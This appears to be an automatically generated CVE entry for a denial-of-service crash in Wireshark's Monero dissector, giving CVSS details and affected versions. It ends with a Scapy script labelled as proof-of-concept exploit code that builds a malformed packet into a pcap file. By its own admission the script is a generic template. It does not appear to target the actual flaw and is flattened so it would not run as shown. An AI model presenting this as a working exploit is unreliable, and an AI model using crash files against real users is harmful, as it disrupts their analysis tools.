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CVE-2026-5409 CVSS 5.5 MEDIUM

CVE-2026-5409

Published: 2026-04-30 07:16:38
Last Modified: 2026-05-01 19:27:47

Description

Monero protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.4.0 - 4.4.14
Wireshark 4.6.0 - 4.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import scapy.all as scapy from scapy.utils import wrpcap # Construct a malformed packet targeting Monero dissector logic # Note: This is a generic template for creating a crash PoC. # Specific field manipulation depends on the internal parsing logic of Wireshark's Monero dissector. class MalformedMonero(scapy.Packet): name = "Malformed Monero" fields_desc = [ scapy.ByteField("magic", 0x00), scapy.FieldLenField("length", None, length_of="data", fmt="I"), scapy.StrLenField("data", b"\x00"*1000, length_from=lambda pkt: pkt.length), # Introducing an invalid field to trigger the crash scapy.IntField("invalid_size", 0xFFFFFFFF) ] # Create the packet pkt = MalformedMonero() # Save to pcap file wrpcap("cve_2026_5409_crash.pcap", [pkt])

References

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